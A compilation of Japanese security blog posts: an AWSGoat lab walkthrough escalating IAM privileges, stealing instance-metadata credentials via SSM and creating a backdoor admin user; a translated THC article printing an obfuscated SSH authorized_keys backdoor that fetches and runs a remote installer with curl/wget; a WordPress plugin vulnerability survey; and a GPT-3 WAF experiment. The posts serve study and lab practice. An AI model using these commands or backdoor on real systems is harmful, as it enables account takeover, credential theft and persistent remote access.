            "PolicyArn": "arn:aws:iam::364300000000:policy/aws-goat-instance-policy"
        }
    ]
}

AWS ユーザの追加を試行 (aws iam create-user)

 「hacker」という名前のユーザを作成してみます。

$ aws iam create-user --user-name hacker

 「IAMFullAccess」のポリシーがアタッチされているにもかかわらず、パーミッション拒否されました。

An error occurred (AccessDenied) when calling the CreateUser operation: User: arn:aws:sts::364300000000:assumed-role/ecs-instance-role/i-00b41f7908dc8d792 is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::364300000000:user/hacker because no permissions boundary allows the iam:CreateUser action

 原因を調べるために、ロールの詳細を確認してみます。

ecs-instance-role ロールの詳細を確認 (aws iam get-role)

 ロール「ecs-instance-role」の詳細を確認してみます。

$ aws iam get-role --role-name ecs-instance-role

 ロールに「aws-goat-instance-boundary-policy」というポリシーの アクセス許可境界(Permissions Boundary) が設定されており、AWS IAM のアクションに制限が掛けられていると推測できます。
 そのためAWSユーザの作成が失敗したと考えられます。

{
    "Role": {
        "Path": "/",
        "RoleName": "ecs-instance-role",
        "RoleId": "AROAVJV7MGT3ZFHMKJXHB",
        "Arn": "arn:aws:iam::364300000000:role/ecs-instance-role",
        "CreateDate": "2023-05-29T12:14:16+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2008-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "ec2.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "PermissionsBoundary": {
            "PermissionsBoundaryType": "Policy",
            "PermissionsBoundaryArn": "arn:aws:iam::364300000000:policy/aws-goat-instance-boundary-policy"
        },
        "RoleLastUsed": {
            "LastUsedDate": "2023-05-29T13:40:18+00:00",
            "Region": "us-east-1"
        }
    }
}

 次は、Permissions Boundary ポリシー「aws-goat-instance-boundary-policy」の詳細を調べていきます。

 ちなみに同様にロールにアタッチされているポリシー「aws-goat-instance-policy」の詳細は下画像の通りです。

ポリシーのバージョンIDを取得する (aws iam get-policy)

コマンド説明: aws iam get-policy
指定された管理対象ポリシーに関する情報を取得します。

 Permissions Boundary ポリシー「aws-goat-instance-boundary-policy」のポリシードキュメントを取得するためには、「aws iam get-policy-version」コマンドを利用します。

このコマンドには引数には「--version-id <バージョン ID>」を指定する必要があり、このバージョン IDを取得するためには「aws iam get-policy」コマンドを実行します。

出力結果の「DefaultVersionId」の値がバージョン IDとなります。

$ aws iam get-policy \
    --policy-arn arn:aws:iam::364300000000:policy/aws-goat-instance-boundary-policy

 「"DefaultVersionId": "v1"」を取得することができました。 「v1」を次に実行する「aws iam get-policy-version」コマンドに指定します。

{
    "Policy": {
        "PolicyName": "aws-goat-instance-boundary-policy",
        "PolicyId": "ANPAVJV7MGT3UAOC7EQR7",
        "Arn": "arn:aws:iam::364300000000:policy/aws-goat-instance-boundary-policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 0,
        "PermissionsBoundaryUsageCount": 1,
        "IsAttachable": true,
        "CreateDate": "2023-05-29T12:14:16+00:00",
        "UpdateDate": "2023-05-29T12:14:16+00:00",
        "Tags": []
    }
}

ポリシードキュメントを取得 (aws iam get-policy-version)

コマンド説明:aws iam get-policy-version
指定された管理ポリシーの指定されたバージョンに関する情報をポリシードキュメントを含めて取得します。

 Permissions Boundary ポリシー「aws-goat-instance-boundary-policy」のポリシードキュメントを取得します。
(ポリシードキュメントにはアクセスの許可・拒否の情報が記述されています。)

$ aws iam get-policy-version \
    --policy-arn arn:aws:iam::364300000000:policy/aws-goat-instance-boundary-policy \
    --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "iam:List*",
                        "iam:Get*",
                        "iam:PassRole",
                        "iam:PutRole*",
                        "ssm:*",
                        "ssmmessages:*",
                        "ec2:RunInstances",
                        "ec2:Describe*",
                        "ecs:*",
                        "ecr:*",
                        "logs:CreateLogStream",
                        "logs:PutLogEvents"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "Pol1"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-05-29T12:14:16+00:00"
    }
}

 上記の出力結果と先述したポリシー「aws-goat-instance-policy」の権限を組み合わせるとロール「ecs-instance-role」は以下の操作ができそうです。

  • iam:List」「iam:Get*」 → 権限の強いポリシーを持ったロールを探索することが可能
  • ec2:RunInstance」 → EC2を作成・起動することが可能
  • iam:PassRole」 → (RunInstance に必要で)EC2に強い権限を持ったロールをアタッチ可能
  • ssm:*」 → EC2インスタンス上で任意のコマンドを実行可能

 これらの情報から以下の手順を実施すれば、最終目標(AdministratorAccess 権限を持ったAWSユーザの作成)を達成させられそうです。

  1. 新規EC2インスタンスを作成・起動する
  2. 新規インスタンスに対して強い権限を持つロールを渡す
  3. 新規インスタンスからクレデンシャルを取得する
  4. 取得したクレデンシャルを使用してAWSユーザを作成する

強い権限を持ったロールを探す

 新規EC2インスタンスにアタッチするロールを探します。

登録されているロール一覧を取得 (aws iam list-roles)

 ロールの一覧を表示し、権限の強いポリシーがアタッチされたロールを探します。
(いくつかのロールが表示されますが、重要なロールだけを記載します。)

$ aws iam list-roles

 興味深いロール「ec2Deployer-role」を見つけることができました。
(※ この結果だけでは強いロールかどうかを判断することはできません。実際の現場などでは一通りアタッチされたポリシーの権限を確認することになると思います。)

{
    "Path": "/",
    "RoleName": "ec2Deployer-role",
    "RoleId": "AROAVJV7MGT35ADFGYUUP",
    "Arn": "arn:aws:iam::364300000000:role/ec2Deployer-role",
    "CreateDate": "2023-05-29T12:14:16+00:00",
    "AssumeRolePolicyDocument": {
        "Version": "2008-10-17",
        "Statement": [
            {
                "Sid": "",
                "Effect": "Allow",
                "Principal": {
                    "Service": "ec2.amazonaws.com"
                },
                "Action": "sts:AssumeRole"
            }
        ]
    },
    "MaxSessionDuration": 3600
}

ロールにアタッチされているポリシーを取得 (aws iam list-attached-role-policies)

 ロール「ec2Deployer-role」にアタッチされているポリシーを確認します。

$ aws iam list-attached-role-policies --role-name ec2Deployer-role

 ポリシー「ec2DeployerAdmin-policy」がアタッチされています。

{
    "AttachedPolicies": [
        {
            "PolicyName": "ec2DeployerAdmin-policy",
            "PolicyArn": "arn:aws:iam::364300000000:policy/ec2DeployerAdmin-policy"
        }
    ]
}

ポリシーの詳細を確認 (aws iam get-policy-version)

 ポリシー「ec2DeployerAdmin-policy」のポリシードキュメントを確認します。

$ aws iam get-policy-version \
    --policy-arn arn:aws:iam::364300000000:policy/ec2DeployerAdmin-policy \
    --version-id v1

 このポリシーは「すべてのリソースに対してすべてのアクションを実行できるポリシー」のようです。

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "*"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "Policy1"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-05-29T12:14:16+00:00"
    }
}

インスタンスプロファイルの探索 (aws iam list-instance-profiles)

 インスタンスプロファイルの一覧を表示し、ロール「ec2Deployer-role」が含まれているインスタンスプロファイルを探します。

$ aws iam list-instance-profiles

 ロール「ec2Deployer-role」を持っているインスタンスプロファイル「ec2Deployer」を見つけることができました。

{
    "InstanceProfiles": [
        {
            "Path": "/",
            "InstanceProfileName": "ec2Deployer",
            "InstanceProfileId": "AIPAVJV7MGT3UHRAPLDQH",
            "Arn": "arn:aws:iam::364300000000:instance-profile/ec2Deployer",
            "CreateDate": "2023-05-29T12:14:17+00:00",
            "Roles": [
                {
                    "Path": "/",
                    "RoleName": "ec2Deployer-role",
                    "RoleId": "AROAVJV7MGT35ADFGYUUP",
                    "Arn": "arn:aws:iam::364300000000:role/ec2Deployer-role",
                    "CreateDate": "2023-05-29T12:14:16+00:00",
                    "AssumeRolePolicyDocument": {
                        "Version": "2008-10-17",
                        "Statement": [
                            {
                                "Sid": "",
                                "Effect": "Allow",
                                "Principal": {
                                    "Service": "ec2.amazonaws.com"
                                },
                                "Action": "sts:AssumeRole"
                            }
                        ]
                    }
                }
            ]
        }
    ]
}

 無事、新規EC2インスタンスにアタッチするロールを見つけることができたので、インスタンスの作成を実施していきます。

EC2インスタンスを作成する

 EC2インスタンスを作成するには以下の情報が必要です。

EC2起動に必要なパラメータ
AMI ID ami-(不明)
インスタンスプロファイル名 ec2Deployer
サブネット ID subnet-(不明)
セキュリティグループ ID sg-(不明)

Amazon Linux 2 AMI のIDを取得 (aws ec2 describe-images)

 新規EC2インスタンスのOSは Amazon Linux 2 で起動させることにします。そのために AMI ID を取得します。

$ aws ec2 describe-images --owners amazon \
    --filters 'Name=name,Values=amzn-ami-hvm-*-x86_64-gp2' 'Name=state,Values=available' \
    --query 'reverse(sort_by(Images,&CreationDate))[:1].{id:ImageId,date:CreationDate}'

 AMI ID「ami-0f792671d5139f458」を取得することができました。

[
    {
        "id": "ami-0f792671d5139f458",
        "date": "2023-05-16T22:51:19.000Z"
    }
]
EC2起動に必要なパラメータ
AMI ID ami-0f792671d5139f458
インスタンスプロファイル名 ec2Deployer
サブネット ID subnet-(不明)
セキュリティグループ ID sg-(不明)

サブネット IDを取得 (aws ec2 describe-subnets)

 次はサブネットの情報を取得します。

$ aws ec2 describe-subnets

 サブネット ID「subnet-0448624xxxxxxxxxx」を取得することができました。このサブネットにEC2を起動することにします。

 利用可能なセキュリティグループを判別するため VPC ID「vpc-0ed391xxxxxxxxxxx」もメモしておきます。

{
    "Subnets": [
        {
            "AvailabilityZone": "us-east-1a",
            "AvailabilityZoneId": "use1-az2",
            "AvailableIpAddressCount": 248,
            "CidrBlock": "10.0.1.0/24",
            "DefaultForAz": false,
            "MapPublicIpOnLaunch": true,
            "MapCustomerOwnedIpOnLaunch": false,
            "State": "available",
            "SubnetId": "subnet-0448624xxxxxxxxxx",
            "VpcId": "vpc-0ed391xxxxxxxxxxx",
            "OwnerId": "364300000000",
            "AssignIpv6AddressOnCreation": false,
            "Ipv6CidrBlockAssociationSet": [],
            "SubnetArn": "arn:aws:ec2:us-east-1:364300000000:subnet/subnet-0448624xxxxxxxxxx",
            "EnableDns64": false,
            "Ipv6Native": false,
            "PrivateDnsNameOptionsOnLaunch": {
                "HostnameType": "ip-name",
                "EnableResourceNameDnsARecord": false,
                "EnableResourceNameDnsAAAARecord": false
            }
        }
    ]
}
EC2起動に必要なパラメータ
AMI ID ami-0f792671d5139f458
インスタンスプロファイル名 ec2Deployer
サブネット ID subnet-0448624xxxxxxxxxx
セキュリティグループ ID sg-(不明)

セキュリティグループを取得 (aws ec2 describe-security-groups)

 VPC ID「vpc-0ed391xxxxxxxxxxx」のセキュリティグループを探します。

$ aws ec2 describe-security-groups

 セキュリティグループ ID「sg-0d12e6bbxxxxxxxxx」を取得できました。

{
    "SecurityGroups": [
        {
            "Description": "SG for cluster created from terraform",
            "GroupName": "ECS-SG",
            "IpPermissions": [
                {
                    "FromPort": 0,
                    "IpProtocol": "tcp",
                    "IpRanges": [],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "ToPort": 65535,
                    "UserIdGroupPairs": [
                        {
                            "GroupId": "sg-0d12e6bbxxxxxxxxx",
                            "UserId": "364300000000"
                        }
                    ]
                }
            ],
            "OwnerId": "364300000000",
            "GroupId": "sg-0602041b3c7afacd3",
            "IpPermissionsEgress": [
                {
                    "IpProtocol": "-1",
                    "IpRanges": [
                        {
                            "CidrIp": "0.0.0.0/0"
                        }
                    ],
                    "Ipv6Ranges": [],
                    "PrefixListIds": [],
                    "UserIdGroupPairs": []
                }
            ],
            "VpcId": "vpc-0ed391xxxxxxxxxxx"
        }
    ]
}
EC2起動に必要なパラメータ
AMI ID ami-0f792671d5139f458
インスタンスプロファイル名 ec2Deployer
サブネット ID subnet-0448624xxxxxxxxxx
セキュリティグループ ID sg-0d12e6bbxxxxxxxxx

 EC2インスタンスの作成に必要な情報が集まったので、新規インスタンスを起動します。

EC2インスタンスの起動 (aws ec2 run-instances)

InstanceId i-0f7f96d4e98xxxxx

 取得した「サブネットID」、「AMI ID」「インスタンスプロファイル」「セキュリティグループ ID」をコマンドの引数にしてEC2インスタンスを起動します。

$ aws ec2 run-instances \
    --subnet-id subnet-0448624xxxxxxxxxx \
    --image-id ami-0f792671d5139f458 \
    --iam-instance-profile Name=ec2Deployer \
    --instance-type t2.micro \
    --security-group-ids "sg-0d12e6bbxxxxxxxxx"

 以下のように出力されたら正常にEC2インストタンスが作成されています。

 インスタンス ID(i-0f7f96d4e98xxxxx)は後々利用しますので、メモしておきます。

{
    "Groups": [],
    "Instances": [
        {
            "AmiLaunchIndex": 0,
            "ImageId": "ami-0f792671d5139f458",
            "InstanceId": "i-0f7f96d4e98xxxxx",
            "InstanceType": "t2.micro",
            "LaunchTime": "2023-05-29T14:29:33+00:00",
            "Monitoring": {
                "State": "disabled"
            },
            "Placement": {
                "AvailabilityZone": "us-east-1a",
                "GroupName": "",
                "Tenancy": "default"
            },
            // (省略)
        }
    ],
    "OwnerId": "364300000000",
    "ReservationId": "r-082ff278135b2d082"
}

AWS コンソール上でも作成したEC2インスタンスを確認することができました。

ロールの一時的なアクセス資格を取得

作成したEC2内のメタデータサービスにアクセスして、クレデンシャルを取得します。

EC2内でコマンドを実行 (aws ssm send-command)

 「ec2Deployer-role」の一時的なアクセス資格を取得します。

 新規EC2インスタンス内で以下のコマンドを実行することで一時的なアクセス資格を取得することができます。
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2Deployer-role/

 インスタンス内でコマンドを実行するために以下のコマンドを実行します。

$ aws ssm send-command \
    --document-name "AWS-RunShellScript" \
    --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2Deployer-role/"]' \
    --targets "Key=instanceids,Values=i-0f7f96d4e98xxxxx" \
    --comment "aws cli 1"

 インスタンス内で実行したコマンドの結果を取得するために「CommandId」の値(1d062099-91ba-4520-bcf1-b0e42f26d26e)を取得します。

{
    "Command": {
        "CommandId": "1d062099-91ba-4520-bcf1-b0e42f26d26e",
        "DocumentName": "AWS-RunShellScript",
        "DocumentVersion": "$DEFAULT",
        "Comment": "aws cli 1",
        "ExpiresAfter": "2023-05-30T01:34:17.094000+09:00",
        "Parameters": {
            "commands": [
                "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2Deployer-role/"
            ]
        },
        //(省略)
    }
}

コマンドの結果を取得 (aws ssm get-command-invocation)

 前に実行したコマンドの結果を取得します。

$ aws ssm get-command-invocation \
    --command-id "1d062099-91ba-4520-bcf1-b0e42f26d26e" \
    --instance-id "i-0f7f96d4e98xxxxx"

 結果にクレデンシャルが含まれています。

{
    "CommandId": "1d062099-91ba-4520-bcf1-b0e42f26d26e",
    "InstanceId": "i-0f7f96d4e98xxxxx",
    "Comment": "aws cli 1",
    "DocumentName": "AWS-RunShellScript",
    "DocumentVersion": "$DEFAULT",
    "PluginName": "aws:runShellScript",
    "ResponseCode": 0,
    "ExecutionStartDateTime": "2023-05-29T14:34:17.844Z",
    "ExecutionElapsedTime": "PT0.053S",
    "ExecutionEndDateTime": "2023-05-29T14:34:17.844Z",
    "Status": "Success",
    "StatusDetails": "Success",
    "StandardOutputContent": "{\n  \"Code\" : \"Success\",\n  \"LastUpdated\" : \"2023-05-29T14:29:38Z\",\n  \"Type\" : \"AWS-HMAC\",\n  \"AccessKeyId\" : \"ASIAVJXXXXXXXXXXXXXX\",\n  \"SecretAccessKey\" : \"vtHr/KJqQ1+miLKhxxxxxxxxxxxxxxxxxxxxxxxx\",\n  \"Token\" : \"IQoJb3JpZ2luX2VjED8aCXVzLWVhc3QtMSJGMEQCIxxxxx\",\n  \"Expiration\" : \"2023-05-29T21:04:36Z\"\n}",
    "StandardOutputUrl": "",
    "StandardErrorContent": "  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\r100  1566  100  1566    0     0   509k      0 --:--:-- --:--:-- --:--:--  509k\n",
    "StandardErrorUrl": "",
    "CloudWatchOutputConfig": {
        "CloudWatchLogGroupName": "",
        "CloudWatchOutputEnabled": false
    }
}

クレデンシャルの有効性を確認 (aws sts get-caller-identity)

 取得したクレデンシャルを設定し、有効であるかを確認します。

export AWS_ACCESS_KEY_ID=ASIAVJXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=vtHr/KJqQ1+miLKhxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjED8aCXVzLWVhc3QtMSJGMEQCIxxxxx

 このクレデンシャルを持つIAMユーザーまたはロールに関する詳細が返されることから、取得できたクレデンシャルが有効であることが確認できました。

$ aws sts get-caller-identity
{
    "UserId": "AROAVJV7MGT35ADFGYUUP:i-0f7f96d4e98xxxxx",
    "Account": "364300000000",
    "Arn": "arn:aws:sts::364300000000:assumed-role/ec2Deployer-role/i-0f7f96d4e98xxxxx"
}

バックドアAWSユーザの作成

 とうとう最後のフェーズです。

 取得したクレデンシャルを利用しバックドアAWSユーザを追加します。さらにそのユーザに対して管理者権限を付与しましょう。

 ログインできるようにパスワードの設定を行います。AWS CLI で利用できるように当ユーザのクレデンシャルの発行も行います。

AWSユーザの作成 (aws iam create-user)

 取得したクレデンシャルを利用して、最終目標であるバックドアAWSユーザを追加を行います。

 「hacker」という名のAWSユーザ追加します。

$ aws iam create-user --user-name hacker
{
    "User": {
        "Path": "/",
        "UserName": "hacker",
        "UserId": "AIDAVJV7MGT3RYW4XXXXX",
        "Arn": "arn:aws:iam::364300000000:user/hacker",
        "CreateDate": "2023-05-29T14:37:50+00:00"
    }
}

ユーザにポリシーを付与 (aws iam attach-user-policy)

 AWSユーザ「hacker」にポリシー「AdministratorAccess」を追加します。

$ aws iam attach-user-policy \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
    --user-name hacker

 これで管理者アカウントを外部から追加できたことになります!!

ログイン時の認証情報を作成 (aws iam create-login-profile)

 AWSユーザ「hacker」にパスワードを設定します。

$ aws iam create-login-profile \
    --user-name hacker \
    --password hackerPassword@123
{
    "LoginProfile": {
        "UserName": "hacker",
        "CreateDate": "2023-05-29T14:38:47+00:00",
        "PasswordResetRequired": false
    }
}

APIのクレデンシャルを作成 (aws iam create-access-key)

 AWSユーザ「hacker」のクレデンシャルを作成します。

$ aws iam create-access-key --user-name hacker
{
    "AccessKey": {
        "UserName": "hacker",
        "AccessKeyId": "AKIAVJVXXXXXXXXXXXXX",
        "Status": "Active",
        "SecretAccessKey": "5+VAgyEemxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
        "CreateDate": "2023-05-29T14:38:52+00:00"
    }
}

 AWSコンソール上でもこのAWSユーザ追加されていることが確認できました。

後片付け

 学習中に追加したリソースを先に削除し、最後に Terraform で追加したリソースを削除するといい感じがします。

  1. EC2の「i-0f7f96d4e98xxxxx」を削除
  2. IAMユーザの「hacker」を削除
  3. GitHub Actionで「Terraform Destroy」を実行

更新履歴

History for entry/tag:blog.hatena.ne.jp,2013:blog-motikan2010-10328749687205827604-820878482937162731.md - motikan2010/blog.motikan2010.com · GitHub

【翻訳】SSH公開鍵にバックドアを感染させる

本記事は以下の記事の日本語訳です。
Infecting SSH Public Keys with backdoors
blog.thc.org


Infecting SSH Public Keys with backdoors

 この記事では、SSH公開鍵にバックドアを追加する方法を学びます。このバックドアは、ユーザーがログインするたびに実行されます。

バックドアは「~/.ssh/authorized_keys」または「~/.ssh/id_*.pub」の中に、読めない長い16進文字列として隠されています。

ソースはGitHubから入手可能です。

https://github.com/hackerschoice/ssh-key-backdoor

What's the purpose

  1. 笑いを取るため。
  2. サーバーの再起動後にバックドアを再起動させる。
    (「crontab」や「~/.bashrc」に感染させるのと同様)
  3. 横方向に拡散する。管理者は、自分のSSH公開鍵を新しいサーバーにコピーすることが知られています。 そのサーバを自分のものにします。
  4. クラウドデプロイメントでは、管理者の公開鍵が新しいインスタンスにコピーされることがよくありますが、今度はその中にあなたのバックドアもコピーされます。

The nitty-gritty

 OpenSSHには、ユーザがログインに成功したときに「(Shellの代わりに)コマンドを実行する」、という隠れた機能があります。
例としてこの機能はAWSで、rootでログインしないようにと伝えるために使われています。

no-port-forwarding,no-agent-forwarding,command="echo 'Please login as the user \"ubuntu\" rather than the user \"root\".';echo;sleep 10;exit 142" ssh-ed25519 AAAA...

The Details

 バックドアの文字列を分解してみます。「 no-user-rc,no-X11-forwarding」は、詮索好きな人の目をそらすための策略です。これは省略可能です。

command=の文字列は、本当のマジックが起こるところです。以下は、簡略化されたバックドア文字列の短縮版です。

command="`###---POWERSHELL---`;eval $(echo 6563686f2048656c6c6f204261636b646f6f72|xxd -r -ps)"

OpenSSHは2つの引用符"... "の間にある文字列全体を実行します。

この「###--POWERSHELL---」も策略である。何もしないのです。

次のコマンドevalは、エンコードされた16進文字列の中に隠されているコマンドを実行します。

実際に実行されるコマンドを明らかにするために、16進文字列をデコードしてみましょう。

$ echo 6563686f2048656c6c6f204261636b646f6f72 | xxd -r -ps
echo Hello Backdoor

この単純化されたバックドアは、ログイン時に「Hello Backdoor」と表示し、その後SSH接続を終了させるだけです。

私たちのバックドア文字列はもっと複雑で、このようにデコードされます。

[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && {
    touch -r /bin/sh .ssh
    export KEY=""
    bash -c "$(curl -fsSL thc.org/sshx)" || bash -c "$(wget --no-verbose -O- thc.org/sshx)" || exit 0
} >/dev/null 2>/dev/null &
[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND
[[ -z $SHELL ]] && SHELL=/bin/bash
[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic
[[ -f /etc/motd ]] && cat /etc/motd
exec -a -$(basename $SHELL) $SHELL

 まず、バックドアがログインのたびに起動するのではなく、一度だけ起動することを確認するためにカナリアを使用します。
もし「~/.ssh」と「/bin/sh」の日付が同じなら、バックドアはすでにインストールされていると仮定します。それ以外の場合は、同じ日付に設定し、その後バックドアを実行します。

 この場合のバックドアは、thc.org/sshx (http://thc.org/sshx) から取り出したバックドアインストーラスクリプトで、メモリ内で実行されます。
ユーザーのログインを遅くしないために、バックグラウンドプロセスとして起動します。
インストーラースクリプトは gsocket (http://gsocket.io/deploy) をインストールし、成功すればアクセスキーとシステムメトリクスを私たちのdiscordチャンネルに報告します。

 その後、バックドアの文字列は、ユーザーがシェルではなくコマンドを実行したかったかどうかをチェックします。

 最後の3行は、ユーザーがシェルにログインした場合(通常の場合)です。

  1. SHELL変数がまだ設定されていない場合は、設定する。
  2. Linuxのmotdをシミュレートする。
  3. ユーザーのシェルを実行する。

ハッキングを続ける。


参考

本記事は以下の記事の日本語訳です。
Infecting SSH Public Keys with backdoors
blog.thc.org

26万サイト分のWordPressをセキュリティ調査「脆弱なプラグイン 編」

はじめに

 国内のWordPressで構築されている 約26万サイトを対象に調査しました。(※ 厳密には 260,135 サイト分)

 今回は第二弾は「脆弱なプラグイン 編」ということで、WordPressに導入されている既知の脆弱性があるプラグインに着目して調査を行いました。

 前回の記事は以下のものです。 blog.motikan2010.com

調査内容

 調査対象としたプラグインは、私が運用しているハニーポットに対してプラグインの有無を確認するスキャンの多さ上位のものを対象にしています。

 そして調査対象の脆弱性は、当プラグインで特に目立つ脆弱性の有無を確認しています。

 具体的には以下4種類のプラグインと脆弱性が調査対象です。

プラグイン 脆弱性
File Manager Arbitrary File Upload/Remote Code Execution (CVE-2020-25213)
InfiniteWP Client Authentication Bypass (CVE-2020-8772)
bbPress Unauthenticated Privilege Escalation (CVE-2020-13693)
Fancy Product Designer Unauthenticated Arbitrary File Upload (CVE-2021-24370)

 最終的には 260,135サイト中の「プラグイン導入数」と「脆弱性有りプラグイン導入数」を出力しています。

調査結果

File Manager <= 6.8 - Arbitrary File Upload/Remote Code Execution (CVE-2020-25213)

サイト数
プラグイン導入数 2,688
脆弱性有りプラグイン導入数 11

File Manager <= 6.8 - Arbitrary File Upload/Remote Code Execution - Wordfence

プラグインのバージョン

導入数 バージョン 脆弱 導入数 バージョン 脆弱 導入数 バージョン 脆弱
413 7.1.6 14 5.4 1 6.7
405 7.1.8 13 1.9 1 6.2
369 7.1.7 12 7 1 4
273 7.1.2 12 4.1 1 3.4
181 7.1.1 12 3.2 1 2.9
176 7.1.5 12 2.8 1 2.7
173 不明 10 1.7 1 2.2
149 7.1.4 9 1.8 1 1.1
54 7.1 8 3.1 1 1
48 6.9 7 3.8
42 7.1.3 7 2.4
41 5.3 7 1.6
38 5.7 6 3.7
29 4.4 5 6.4
28 5.2 4 6.5
26 5.9 4 3
26 4.8 4 2
24 5.5 4 1.5
15 4.6 3 2.1
14 5.8 2 2.6

脆弱性の割合

InfiniteWP Client <= 1.9.4.4 - Authentication Bypass (CVE-2020-8772)

サイト数
プラグイン導入数 233
脆弱性有りプラグイン導入数 8

InfiniteWP Client <= 1.9.4.4 - Authentication Bypass - Wordfence

プラグインのバージョン

導入数 バージョン 脆弱
115 1.9.6
63 1.11.0
29 1.9.4.8.2
7 1.9.8
5 1.9.4.5
4 1.8.5
3 1.9.9
2 1.9.4.11
2 1.6.4.2
1 1.6.6.3
1 1.6.3.2
1 不明

脆弱性の割合

bbPress <= 2.6.4 - Unauthenticated Privilege Escalation (CVE-2020-13693)

サイト数
プラグイン導入数 29
脆弱性有りプラグイン導入数 8

bbPress <= 2.6.4 - Unauthenticated Privilege Escalation - Wordfence

プラグインのバージョン

導入数 バージョン 脆弱
13 2.6.9
5 2.6.6
3 2.6.5
1 2.6.4
1 2.6.3
2 2.5.14
2 2.5.12
1 2.5.11
1 2.5.8

脆弱性の割合

Fancy Product Designer <= 4.6.8 - Unauthenticated Arbitrary File Upload (CVE-2021-24370)

サイト数
プラグイン導入数 5
脆弱性有りプラグイン導入数 ?

プラグインのバージョン

Fancy Product Designer <= 4.6.8 - Unauthenticated Arbitrary File Upload - Wordfence

導入数 バージョン 脆弱
5 不明

まとめ

 WordPressプラグインの脆弱性を悪用されてサイトが改ざんされるような事例が度々上がっており、今回このような調査を行いましたが、結構プラグインがアップデートされているサイトが多いという印象でした。

 調査前は、利用者の 10% 程はプラグインのアップデートをしていないのではと考えていました。
 ですが、実際は 0.00 数パーセントが対応できていない状況でした。

 本調査ではその点が定量化できたので、良かった点かと。

参考

GPT-3 API を使って AI WAF を作る

※ネタ記事です

はじめに

 最先端(?)であるGPT-3を使って 次世代WAF を作っていきます。

 以下が設計図と主な処理の流れ。

  1. GPT-3 API に対して、「このHTTPリクエストは攻撃ですか?」とWAFで受信したHTTPリクエストを添えて聞きます。
  2. 「Yes, 攻撃だよ」と返答があったら攻撃リクエストと判定します。
  3. 処理を中断し、403エラーを返却します。

攻撃者のリクエストがブロックされるまでの流れ

  • 実際のWAFのようにプロキシに実装するには手間が掛かり過ぎるため Laravel(PHP製のフレームワーク)に組み込むWAFにしています。
  • レスポンス時間は気にしない。

検証する脆弱性

 以下の脆弱性に対する攻撃リクエストをブロックできるかを検証していきます。

  • XSS
  • SQL インジェクション
  • XXE
  • パストラバーサル
  • OS コマンドインジェクション
  • Log4Shell
  • WordPressのユーザ列挙
  • ShellShock

Tips. GPT-3 とは?

 ChatGPT( ≒ GPT-3.5) の前身みたいなAI。

 ChatGPT は API が提供されていないためこちらを利用している。

WAFの実装

環境・必要なもの

  • PHP 7.4
  • Laravel 8.75
  • OpenAI GPT-3 API の キー(※要登録 & $18は無料)

ソースコード

 WAFの動作であるリクエストのフィルタリングは Middleware(ミドルウェア)を追加することで実現しています。

 Middleware を追加することによってリクエストまたはレスポンスの前・後処理を記述することができるようになります。

 前処理でリクエストが攻撃であるかどうかを判定することによってWAFと同様の動作を実現しています。

 本記事では2つのPHPファイルを作成・修正します。

 まず「/app/Http/Middleware/Gpt3Waf.php」を作成します。これがミドルウェアの役割をします。

主な処理としては以下の通りです。

  • 「OPEN_AI_API_KEY」に取得した OpenAI API のキー
  • handle関数にリクエストが入ってくる
  • getRequest関数内で生形式のHTTPリクエストを取得
  • isAttack関数で攻撃リクエストを判定
    • GPT-3 API に「Is the following HTTP request a cyber attack? + 生形式の HTTPリクエスト」と問いかける
    • 返答で「Yes」から始まったら攻撃と判定
  • 攻撃と判定されたら 403 エラーを返却、そうでない場合は処理を続行

 以下がソースコードの全体です。(今回は検証なので主要な処理以外は省いています。)

 次に「/app/Http/Kernel.php」を編集します。

 以下のように一行追加することで、上で作成したミドルウェアが有効になります。

検証

 適当にネットで拾った各脆弱性の攻撃シグネチャを送信して検証を行なっています。

 レスポンス時間が重要なので一応記載しています。(WAF無しの場合のレスポンス時間は0.42秒でした。)

正常リクエスト

 まず初めはブロックされないリクエストを送信してみます。

  • (攻撃値)
  • 3.08 秒(レスポンス時間)
  • 検出なし(GPT-3 で攻撃が検出されたか)

 以下が GPT-3 API に送信している質問内容です。

Is the following HTTP request a cyber attack?
-----
POST /post HTTP/1.1
ACCEPT-LANGUAGE: ja-JP,ja;q=0.9,en-US;q=0.8,en;q=0.7,da;q=0.6,zh-CN;q=0.5,zh-TW;q=0.4,zh;q=0.3
ACCEPT-ENCODING: gzip, deflate, br
REFERER: http://127.0.0.1/
SEC-FETCH-DEST: document
SEC-FETCH-USER: ?1
SEC-FETCH-MODE: navigate
SEC-FETCH-SITE: same-origin
ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
